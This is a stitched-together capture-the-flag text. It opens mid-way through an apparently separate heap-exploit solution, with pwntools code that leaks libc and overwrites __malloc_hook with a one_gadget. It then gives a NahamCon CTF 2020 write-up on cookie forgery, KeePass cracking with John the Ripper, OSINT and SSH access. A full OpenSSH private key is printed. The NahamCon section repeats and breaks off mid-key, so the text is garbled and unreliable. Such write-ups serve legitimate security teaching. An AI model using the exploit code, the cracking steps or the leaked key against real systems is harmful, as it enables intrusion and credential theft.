def write_address(addr, what): log.info("Writing 0x{:02X} at 0x{:02X}".format(u64(what), addr)) payload = b"A" * OFFSET_NODE payload += b"A" * 8 # Amount payload += b"\x00" * 8 # Description ptr. payload += p64(addr) # Name ptr. # Last byte is written by puts but it alters the node->left and we dont care edit(b"2", b"Test", b"0", payload) name, _ = show(b"3") edit(b"3", what, b"1", "", consume_recv=False)```
## Leak libc addressNow, we can leak the libc address by reading directly where the unsorted chunckwas (the offset from the start of the heap is constant).
```pythonlibc_leaked = read_address(leaked_base + OFFSET_UNSORTED_BIN)log.info("Leaked libc address is: 0x{:02X}".format(libc_leaked))libc_base = libc_leaked - OFFSET_LIBClog.info("Libc base is at: 0x{:02X}".format(libc_base))```
## ExecutionI used a one_gadget, as stated before, instead of "/bin/sh" + system. I computedthe gadgets with [one_gadget](https://github.com/david942j/one_gadget) and checkedevery one of them. I wrote the gadget over at the **__malloc_hook** which we calledin every malloc. ```pythonwrite_address(libc_base + LIBRARY.symbols["__malloc_hook"], p64(libc_base + GADGETS[0]))```Et voilà:

# Script and binariesYou can find them in my [Gitlab](https://gitlab.com/letFunny/ctf/-/tree/master/2020/hsctf/treecache2). |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQ